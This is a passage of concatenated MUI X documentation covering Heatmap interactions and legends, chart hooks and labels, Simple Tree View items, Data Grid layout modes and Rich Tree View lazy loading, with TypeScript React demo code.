import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import type { HeatmapItemIdentifier } from '@mui/x-charts-pro/models';
import { data } from './dumbData';

export default function HeatmapCellClick() {
  const [cellData, setCellData] = React.useState<HeatmapItemIdentifier | null>(null);

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <Heatmap
          xAxis={[{ data: [1, 2, 3, 4] }]}
          yAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
          series={[
            {
              data: data.filter((_, index) => index !== 5 && index !== 13),
              highlightScope: { highlight: 'item' },
            },
          ]}
          height={300}
          onItemClick={(event, params) => setCellData(params)}
        />
      </Box>

      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => {
              setCellData(null);
            }}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={`// Data from cell click
${cellData ? JSON.stringify(cellData, null, 2) : '// The data will appear here'}
`}
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

## Common features

The heatmap shares several features with other charts.
This section only explains the details that are specific to the heatmap.
If you'd like to learn more about the shared features, you can visit their dedicated pages.

### Axes

The Heatmap axes can be customized like any other chart axis.
The available options are available in the [axis customization page](/x/react-charts/axis/#axis-customization).

### Tooltip

The Heatmap has an item tooltip that can be customized as described in the [Tooltip documentation page](/x/react-charts/tooltip/).

The only difference of the Heatmap Tooltip is its default content.
You can import the default tooltip, or only its content as follows:

```js
import { HeatmapTooltip, HeatmapTooltipContent } from '@mui/x-charts/Heatmap',
```

### Legend

The Heatmap comes with a legend which is by default the [ContinuousColorLegend](/x/react-charts/legend/#color-legend).

To display it set `hideLegend` to `false`.
You can modify it with `slots.legend` and `slotProps.legend`.

```tsx
import Box from '@mui/material/Box';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import { data } from './dumbData';

export default function HeatmapLegend() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <Heatmap
        xAxis={[{ data: [1, 2, 3, 4] }]}
        yAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
        series={[{ data }]}
        height={300}
        hideLegend={false}
        slotProps={{
          legend: {
            direction: 'vertical',
            position: { vertical: 'middle' },
            sx: { height: 200 },
          },
        }}
      />
    </Box>
  );
}

```

## Custom item

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import { data } from './dumbData';

function CustomCell(props: any) {
  const { x, y, width, height, ownerState, ...other } = props;

  return (
    <React.Fragment>
      <rect
        {...other}
        x={x + 4}
        y={y + 4}
        width={width - 2 * 4}
        height={height - 2 * 4}
        fill={ownerState.color}
        clipPath={ownerState.isHighlighted ? undefined : 'inset(0px round 10px)'}
      />
      <text
        x={x + width / 2}
        y={y + height / 2}
        textAnchor="middle"
        dominantBaseline="middle"
        pointerEvents="none"
      >
        {ownerState.value}
      </text>
    </React.Fragment>
  );
}
export default function CustomItem() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <Heatmap
        slots={{ cell: CustomCell }}
        xAxis={[{ data: [1, 2, 3, 4] }]}
        yAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
        series={[{ data, highlightScope: { highlight: 'item' } }]}
        height={300}
      />
    </Box>
  );
}

```

---

# Source: https://mui.com/x/react-charts/hooks.md

---
title: Charts - Hooks
productId: x-charts
---

# Charts - Hooks

The package provides a set of hooks to access chart data and utilities for building custom components.

## Available hooks

The charts package provides several categories of hooks:

### Series and Data hooks

- [**useSeries**](/x/react-charts/hooks/use-series/) - Access raw series data for all chart types
- Specific series hooks for individual chart types (`useBarSeries`, `useLineSeries`, etc.)
- [**useDataset**](/x/react-charts/hooks/use-dataset/) - Access the dataset used to populate series and axes data, only if `dataset` prop is used.

### Axes hooks

- [**useAxes**](/x/react-charts/hooks/use-axes/) - Access axis configuration and properties for cartesian and polar charts
  - Cartesian axes hooks (`useXAxes`, `useYAxes`, `useXAxis`, `useYAxis`)
  - Polar axes hooks (`useRotationAxes`, `useRadiusAxes`, `useRotationAxis`, `useRadiusAxis`)

### Legend hooks

- [**useLegend**](/x/react-charts/hooks/use-legend/) - Access formatted legend data for creating custom legend components

### Layout and positioning hooks

- [**useDrawingArea**](/x/react-charts/hooks/use-drawing-area/) - Access the chart's drawing area dimensions and coordinates
- [**useScale**](/x/react-charts/hooks/use-scale/) - Access D3 scale functions for coordinate transformations (`useXScale`, `useYScale`)

## Quick start

All chart hooks are available from the `@mui/x-charts/hooks` import, with pro and premium packages also providing additional hooks.

```js
import { useSeries, useLegend, ... } from '@mui/x-charts/hooks';
import { useSeries, useLegend, ... } from '@mui/x-charts-pro/hooks';
import { useSeries, useLegend, ... } from '@mui/x-charts-premium/hooks';
```

## Caveats

All charts hooks must be used within a chart context.
This means a component using those hook should follow one of the below mentioned structure:

1. a `slot` of a chart component
2. a child of a chart component
3. a child of the `<ChartDataProvider />`

For example if you create a component `<CustomLegend />` that uses the `useLegend()` hook, you could use it as follow:

```jsx
// ✅ Correct usage with slot API
<LineChart
  series={[...]}
  slots={{ legend: CustomLegend }}
/>

// ✅ Correct usage with chart component
<LineChart series={[...]}>
  <CustomLegend /> {/* useLegend works here */}
</LineChart>

// ✅ Correct usage with composition API
<ChartDataProvider series={[...]}>
  <ChartsSurface>
    <LinePlot />
  </ChartsSurface>
  <CustomLegend /> {/* useLegend works here */}
</ChartDataProvider>
```

```jsx
// ❌ Incorrect usage - outside chart context
<div>
  <LineChart series={[...]} />
  <CustomLegend /> {/* useLegend will not work here */}
</div>
```

---

# Source: https://mui.com/x/react-data-grid/demos/inventory.md

# Data Grid - Inventory Dashboard

An inventory dashboard for vendors showcasing product availability.

---

# Source: https://mui.com/x/react-tree-view/rich-tree-view/items.md

# Source: https://mui.com/x/react-tree-view/simple-tree-view/items.md

---
productId: x-tree-view
title: Simple Tree View - Items
components: SimpleTreeView, TreeItem
packageName: '@mui/x-tree-view'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Simple Tree View - Items

Learn how to add simple data to the Tree View component.

## Basics

```jsx
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
```

`SimpleTreeView` receives its items directly as JSX children.

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function BasicSimpleTreeView() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView>
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View">
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

### Item identifier

Each `TreeItem` must have a unique `itemId`.
This is used internally to identify the item in various models and to track it across updates.

```tsx
<SimpleTreeView>
  <TreeItem itemId="item-unique-id" {...otherItemProps} />
</SimpleTreeView>
```

### Item label

You must pass a `label` prop to each `TreeItem`, as shown below:

```tsx
<SimpleTreeView>
  <TreeItem label="Item label" {...otherItemProps} />
</SimpleTreeView>
```

### Disabled items

Use the `disabled` prop on `TreeItem` to disable interaction and focus:

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function DisabledJSXItem() {
  return (
    <Box sx={{ minHeight: 320, minWidth: 250 }}>
      <SimpleTreeView>
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" disabled />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View" disabled>
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

#### Focusable disabled items

The demo below includes a switch that toggles the `disabledItemsFocusable` prop, which controls whether or not a disabled `TreeItem` can be focused.

When this prop is set to false:

- Disabled items will not receive focus when navigating with keyboard arrow keys—they next non-disabled item is focused instead.
- Typing the first character of a disabled item's label will not move the focus to it.
- Mouse or keyboard interactions will not expand or collapse disabled items.
- Mouse or keyboard interactions will not select disabled items.
- <kbd class="key">Shift</kbd> + arrow keys will skip disabled items, and the next non-disabled item will be selected instead.
- Programmatic focus will not focus disabled items.

When it's set to true:

- Disabled items will receive focus when navigating with keyboard arrow keys.
- Typing the first character of a disabled item's label will move focus to it.
- Mouse or keyboard interactions will not expand or collapse disabled items.
- Mouse or keyboard interactions will not select disabled items.
- <kbd class="key">Shift</kbd> + arrow keys will not skip disabled items, but the disabled item will not be selected.
- Programmatic focus will focus disabled items.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Switch from '@mui/material/Switch';
import FormControlLabel from '@mui/material/FormControlLabel';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function DisabledItemsFocusable() {
  const [disabledItemsFocusable, setDisabledItemsFocusable] = React.useState(false);
  const handleToggle = (event: React.ChangeEvent<HTMLInputElement>) => {
    setDisabledItemsFocusable(event.target.checked);
  };

  return (
    <Stack spacing={2}>
      <FormControlLabel
        control={
          <Switch
            checked={disabledItemsFocusable}
            onChange={handleToggle}
            name="disabledItemsFocusable"
          />
        }
        label="Allow focusing disabled items"
      />
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView disabledItemsFocusable={disabledItemsFocusable}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" disabled />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View" disabled>
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

## Track item clicks

Use the `onItemClick` prop to track the clicked item:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function OnItemClick() {
  const [lastClickedItem, setLastClickedItem] = React.useState<string | null>(null);

  return (
    <Stack spacing={2}>
      <Typography>
        {lastClickedItem == null
          ? 'No item click recorded'
          : `Last clicked item: ${lastClickedItem}`}
      </Typography>
      <Box sx={{ minHeight: 352, minWidth: 300 }}>
        <SimpleTreeView onItemClick={(event, itemId) => setLastClickedItem(itemId)}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

## Imperative API

To use the `apiRef` object, you need to initialize it using the `useSimpleTreeViewApiRef()` hook as follows:

```tsx
const apiRef = useSimpleTreeViewApiRef();

return <SimpleTreeView apiRef={apiRef} items={ITEMS} />;
```

When your component first renders, `apiRef.current` is `undefined`.
After the initial render, `apiRef` holds methods to interact imperatively with the Tree View.

### Get an item's DOM element by ID

Use the `getItemDOMElement()` API method to get an item's DOM element by its ID.

```ts
const itemElement = apiRef.current.getItemDOMElement(
  // The id of the item to get the DOM element of
  itemId,
);
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import { useSimpleTreeViewApiRef } from '@mui/x-tree-view/hooks';

export default function ApiMethodGetItemDOMElement() {
  const apiRef = useSimpleTreeViewApiRef();
  const handleScrollToChartsCommunity = (event: React.SyntheticEvent) => {
    apiRef.current!.focusItem(event, 'charts-community');
    apiRef
      .current!.getItemDOMElement('charts-community')
      ?.scrollIntoView({ block: 'nearest' });
  };

  return (
    <Stack spacing={2}>
      <div>
        <Button onClick={handleScrollToChartsCommunity}>
          Focus and scroll to charts community item
        </Button>
      </div>
      <Box sx={{ height: 200, minWidth: 250, overflowY: 'scroll' }}>
        <SimpleTreeView
          apiRef={apiRef}
          defaultExpandedItems={['grid', 'pickers', 'charts', 'tree-view']}
        >
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/react-charts/label.md

---
title: Charts - Label
productId: x-charts
components: BarChart, ScatterChart, LineChart, PieChart
---

# Charts - Label

Customize how series and data points are labeled in charts.

A label is the text that identifies a series or data point in a chart, appearing in locations such as the legend, tooltip, or directly on chart elements.

You can set a series label by passing a string to the `label` property of a series.
The label appears in different locations such as the legend and tooltip.

:::info
The Pie chart has specific behavior described in [Pie chart labels](#pie-chart-labels) below.
:::

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function BasicLabel() {
  return (
    <BarChart
      {...props}
      series={[
        {
          data: [2400, 1398, 9800],
          label: 'label 1',
        },
      ]}
    />
  );
}

const props = {
  height: 300,
  xAxis: [{ data: ['A', 'B', 'C'] }],
  yAxis: [{ width: 50 }],
};

```

## Conditional formatting

The `label` property accepts a function that lets you change the label content based on location.
The function receives `location` as its first argument, which can have the following values:

- `'legend'`: Format the label in the [Legend](/x/react-charts/legend/)
- `'tooltip'`: Format the label in the [Tooltip](/x/react-charts/tooltip/)

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function FunctionLabel() {
  return (
    <BarChart
      {...props}
      series={[
        { data: [2400, 1398, 9800], label: 'simple label' },
        { data: [500, 2398, 4300], label: (location) => `${location} label` },
      ]}
    />
  );
}

const props = {
  height: 300,
  xAxis: [{ data: ['A', 'B', 'C'] }],
  yAxis: [{ width: 50 }],
};

```

## Pie chart labels

The [Pie chart](/x/react-charts/pie/) behaves differently due to its nature.
It has labels per slice instead of per series, and provides one additional location where labels can be rendered.
Instead of receiving the `label` as part of the series, it receives it as part of the `data` set inside a series.

The `location` argument can have the following values:

- `'legend'`: Format the label in the [Legend](/x/react-charts/legend/)
- `'tooltip'`: Format the label in the [Tooltip](/x/react-charts/tooltip/)
- `'arc'`: Format the [Arc label](/x/react-charts/pie/#labels) when `arcLabel` is set to `'label'`

```tsx
import { PieChart } from '@mui/x-charts/PieChart';

export default function PieLabel() {
  return (
    <PieChart
      {...props}
      series={[
        {
          data: [
            { id: 0, value: 10, label: (location) => `${location}+A` },
            { id: 1, value: 15, label: (location) => `${location}+B` },
            { id: 2, value: 20, label: (location) => `${location}+C` },
          ],
          type: 'pie',
          arcLabel: 'label',
        },
      ]}
    />
  );
}

const props = {
  width: 200,
  height: 200,
};

```

---

# Source: https://mui.com/x/react-data-grid/layout.md

# Data Grid - Layout

The Data Grid offers multiple layout modes.

:::error
The Data Grid has no intrinsic dimensions: you must set the dimensions using one of the approaches below or else it may not display correctly.
By default, the Data Grid fills the space of its parent container, so that container must have intrinsic dimensions.
In other words, if the container has no child elements, then it still must have non-zero dimensions.
:::

## Flex parent container

:::success
When to use:

- You want the Data Grid to take its content height, but with a minimum or maximum height constraints.
- You want the Data Grid height to be dynamic, and use row virtualization when rows do not fit the Data Grid viewport.

When not to use:

- You want the Data Grid to always take the height of its content, with no vertical scrollbar, and no row virtualization.
  In this case, use the [`autoHeight`](/x/react-data-grid/layout/#auto-height) prop.

:::

The Data Grid can be placed inside a flex container with `flex-direction: column`.
Without setting the minimum and maximum height, the Data Grid takes as much space as it needs to display all rows.

:::warning
Consider setting `maxHeight` on the flex parent container, otherwise row virtualization will not be able to improve performance by limiting the number of elements rendered in the DOM.
:::

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function FlexGrid() {
  const [nbRows, setNbRows] = React.useState(3);
  const removeRow = () => setNbRows((x) => Math.max(0, x - 1));
  const addRow = () => setNbRows((x) => Math.min(100, x + 1));

  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <Box sx={{ width: '100%' }}>
      <Stack direction="row" spacing={1} sx={{ mb: 1 }}>
        <Button size="small" onClick={removeRow}>
          Remove a row
        </Button>
        <Button size="small" onClick={addRow}>
          Add a row
        </Button>
      </Stack>
      <div style={{ display: 'flex', flexDirection: 'column' }}>
        <DataGrid {...data} rows={data.rows.slice(0, nbRows)} loading={loading} />
      </div>
    </Box>
  );
}

```

### Minimum and maximum height

In the demo below, the Data Grid is placed inside a flex container with a minimum height of `200px` and a maximum height of `400px` and adapts its height when the number of rows changes.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import Typography from '@mui/material/Typography';

const minHeight = 200;
const maxHeight = 400;

export default function MinMaxHeightGrid() {
  const [nbRows, setNbRows] = React.useState(3);
  const removeRow = () => setNbRows((x) => Math.max(0, x - 1));
  const addRow = () => setNbRows((x) => Math.min(100, x + 1));
  const containerRef = React.useRef<HTMLDivElement | null>(null);

  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <Box sx={{ width: '100%' }}>
      <Stack direction="row" spacing={1} sx={{ mb: 1 }}>
        <Button size="small" onClick={removeRow}>
          Remove a row
        </Button>
        <Button size="small" onClick={addRow}>
          Add a row
        </Button>
      </Stack>
      <div style={{ position: 'relative' }} ref={containerRef}>
        <div
          style={{
            display: 'flex',
            flexDirection: 'column',
            maxHeight,
            minHeight,
          }}
        >
          <DataGrid {...data} rows={data.rows.slice(0, nbRows)} loading={loading} />
        </div>

        {/** Visualize max and min container height */}
        <ContainerMeasurements containerRef={containerRef} />
      </div>
    </Box>
  );
}

function ContainerMeasurements({
  containerRef,
}: {
  containerRef: React.RefObject<HTMLDivElement | null>;
}) {
  const [containerHeight, setContainerHeight] = React.useState(0);

  React.useEffect(() => {
    const target = containerRef.current;
    const observer = new ResizeObserver((entries) => {
      setContainerHeight(entries[0].contentRect.height);
    });
    if (target) {
      observer.observe(target);
    }
    return () => {
      observer.disconnect();
    };
  }, [containerRef]);

  const label = `${containerHeight}px`;

  if (containerHeight === 0) {
    return null;
  }

  return (
    <Box
      sx={(theme) => ({
        position: 'absolute',
        top: 0,
        left: -20,
        width: 20,
        height: containerHeight,
        borderColor: theme.palette.text.secondary,
        borderStyle: 'dashed',
        borderTopWidth: 1,
        borderRightWidth: 0,
        borderBottomWidth: 1,
        borderLeftWidth: 1,
      })}
    >
      <Typography
        sx={(theme) => ({
          position: 'absolute',
          top: '50%',
          left: 0,
          transform: 'rotate(180deg) translate(0, 50%)',
          writingMode: 'vertical-lr',
          color: theme.palette.text.secondary,
          textWrap: 'nowrap',
          lineHeight: 1.2,
          fontSize: '15px',
        })}
      >
        {label}
      </Typography>
    </Box>
  );
}

```

## Percentage dimensions

When using percentages (%) for height or width, make sure that the Data Grid's parent container has intrinsic dimensions.
Browsers adjust the element based on a percentage of its parent's size.
If the parent has no size, the percentage will be zero.

## Predefined dimensions

You can predefine dimensions for the parent of the Data Grid.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function FixedSizeGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 5,
    maxColumns: 6,
  });

  return (
    <div style={{ width: '100%' }}>
      <div style={{ height: 350, width: '100%' }}>
        <DataGrid {...data} />
      </div>
    </div>
  );
}

```

## Overlay height

When data grid has no content, overlays (such as
["Loading"](/x/react-data-grid/overlays/#loading-overlay) or
["No rows"](/x/react-data-grid/overlays/#no-rows-overlay))
take the height of two rows by default.

To customize the overlay height, use the `--DataGrid-overlayHeight` CSS variable.

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { styled } from '@mui/material/styles';

const StyledGridOverlay = styled('div')(({ theme }) => ({
  display: 'flex',
  flexDirection: 'column',
  alignItems: 'center',
  justifyContent: 'center',
  height: '100%',
  '& .no-rows-primary': {
    fill: '#3D4751',
    ...theme.applyStyles('light', {
      fill: '#AEB8C2',
    }),
  },
  '& .no-rows-secondary': {
    fill: '#1D2126',
    ...theme.applyStyles('light', {
      fill: '#E8EAED',
    }),
  },
}));

function CustomNoRowsOverlay() {
  return (
    <StyledGridOverlay>
      <svg
        xmlns="http://www.w3.org/2000/svg"
        fill="none"
        width={96}
        viewBox="0 0 452 257"
        aria-hidden
        focusable="false"
      >
        <path
          className="no-rows-primary"
          d="M348 69c-46.392 0-84 37.608-84 84s37.608 84 84 84 84-37.608 84-84-37.608-84-84-84Zm-104 84c0-57.438 46.562-104 104-104s104 46.562 104 104-46.562 104-104 104-104-46.562-104-104Z"
        />
        <path
          className="no-rows-primary"
          d="M308.929 113.929c3.905-3.905 10.237-3.905 14.142 0l63.64 63.64c3.905 3.905 3.905 10.236 0 14.142-3.906 3.905-10.237 3.905-14.142 0l-63.64-63.64c-3.905-3.905-3.905-10.237 0-14.142Z"
        />
        <path
          className="no-rows-primary"
          d="M308.929 191.711c-3.905-3.906-3.905-10.237 0-14.142l63.64-63.64c3.905-3.905 10.236-3.905 14.142 0 3.905 3.905 3.905 10.237 0 14.142l-63.64 63.64c-3.905 3.905-10.237 3.905-14.142 0Z"
        />
        <path
          className="no-rows-secondary"
          d="M0 10C0 4.477 4.477 0 10 0h380c5.523 0 10 4.477 10 10s-4.477 10-10 10H10C4.477 20 0 15.523 0 10ZM0 59c0-5.523 4.477-10 10-10h231c5.523 0 10 4.477 10 10s-4.477 10-10 10H10C4.477 69 0 64.523 0 59ZM0 106c0-5.523 4.477-10 10-10h203c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 153c0-5.523 4.477-10 10-10h195.5c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 200c0-5.523 4.477-10 10-10h203c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 247c0-5.523 4.477-10 10-10h231c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10Z"
        />
      </svg>
      <Box sx={{ mt: 2 }}>No rows</Box>
    </StyledGridOverlay>
  );
}

export default function GridOverlayHeight() {
  return (
    <Box sx={{ width: '100%', display: 'flex', flexDirection: 'column' }}>
      <DataGrid
        columns={[{ field: 'ID' }, { field: 'First name' }, { field: 'Last name' }]}
        rows={[]}
        slots={{ noRowsOverlay: CustomNoRowsOverlay }}
        sx={{ '--DataGrid-overlayHeight': '300px' }}
      />
    </Box>
  );
}

```

## Auto height

:::success
When to use:

- You don't need to set a minimum or maximum height for the Data Grid
- You want the Data Grid to always take the height of its content, with no vertical scrollbar, and no row virtualization.

When not to use:

- You need to set a minimum or maximum height for the Data Grid, or want the Data Grid height to be dynamic.
  In this case, use the [flex parent container](/x/react-data-grid/layout/#flex-parent-container) instead.

:::

The `autoHeight` prop enables the Data Grid to adjust its size based on its content.
This means that the Data Grid's height will be determined by the number of rows, ensuring that all rows will be visible to the user simultaneously.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function AutoHeightGrid() {
  const [nbRows, setNbRows] = React.useState(3);
  const removeRow = () => setNbRows((x) => Math.max(0, x - 1));
  const addRow = () => setNbRows((x) => Math.min(100, x + 1));

  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <Box sx={{ width: '100%' }}>
      <Stack direction="row" spacing={1} sx={{ mb: 1 }}>
        <Button size="small" onClick={removeRow}>
          Remove a row
        </Button>
        <Button size="small" onClick={addRow}>
          Add a row
        </Button>
      </Stack>
      <DataGrid
        autoHeight
        {...data}
        loading={loading}
        rows={data.rows.slice(0, nbRows)}
      />
    </Box>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/server-side-data/lazy-loading.md

# Source: https://mui.com/x/react-tree-view/rich-tree-view/lazy-loading.md

---
productId: x-tree-view
title: Rich Tree View - Lazy loading
components: RichTreeViewPro, TreeItem
packageName: '@mui/x-tree-view-pro'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Rich Tree View - Lazy loading [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Lazy load the data from your Tree View.

## Basic usage

To dynamically load data from the server, including lazy-loading of children, you must create a data source and pass the `dataSource` prop to `RichTreeView`.

The data source also requires the `getChildrenCount()` attribute to handle tree data.
`getChildrenCount()` returns the number of children for the item.
If the children count is not available, but there are children present, it returns `-1`.

The `items` prop serves as the initial state.

```tsx
import Box from '@mui/material/Box';
import {
  randomInt,
  randomName,
  randomId,
  randomBoolean,
} from '@mui/x-data-grid-generator';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { initialItems, ItemType } from './items';

const fetchData = async (): Promise<ItemType[]> => {
  const length: number = randomInt(2, 10);
  const rows = Array.from({ length }, () => ({
    id: randomId(),
    label: randomName({}, {}),
    ...(randomBoolean() ? { childrenCount: length } : {}),
  }));

  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(rows);
    }, 1000);
  });
};

export default function LazyLoadingInitialState() {
  return (
    <Box sx={{ width: '300px' }}>
      <RichTreeViewPro
        items={initialItems}
        dataSource={{
          getChildrenCount: (item) => item?.childrenCount as number,
          getTreeItems: fetchData,
        }}
      />
    </Box>
  );
}

```

If you want to dynamically load all items of `RichTreeView`, you can pass an empty array to the `items` prop, and the `getTreeItems()` method will be called on the first render.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Slider from '@mui/material/Slider';
import {
  randomInt,
  randomName,
  randomId,
  randomBoolean,
} from '@mui/x-data-grid-generator';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';

type ItemType = TreeViewBaseItem<{
